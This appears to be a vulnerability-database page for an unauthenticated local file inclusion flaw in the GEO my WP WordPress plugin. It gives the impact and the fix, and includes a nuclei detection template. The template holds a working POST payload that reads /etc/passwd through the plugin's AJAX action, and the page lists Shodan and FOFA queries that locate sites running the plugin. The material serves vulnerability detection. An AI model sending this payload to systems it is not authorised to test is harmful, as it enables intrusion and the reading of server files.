HexBrain

Browse / CVEs / CVE-2026-85200

CVE-2026-85200· developer.developer / geo-my-wp· CWE-98

GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion

highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.

Impact

Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.

Fix

Update to the latest version beyond 4.5.5.3.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "root:x:0:0" AND status 200

Run it with nuclei: nuclei -id CVE-2026-85200 -u <target>

The full check
id: CVE-2026-85200

info:
  name: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.
  remediation: |
    Update to the latest version beyond 4.5.5.3.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda
    - https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac
    - https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-85200
    epss-score: 0.03227
    epss-percentile: 0.88356
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 1
    vendor: developer.developer
    product: geo-my-wp
    shodan-query: 'http.html:"/wp-content/plugins/geo-my-wp/"'
    fofa-query: 'body="/wp-content/plugins/geo-my-wp/"'
  tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,lfi,unauth,vkev

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=gmw_info_window_init&location[object_id]=1&location[location_id]=1&form[component]=posts_locator&form[prefix]=pt&form[info_window_template][content_path]=/etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from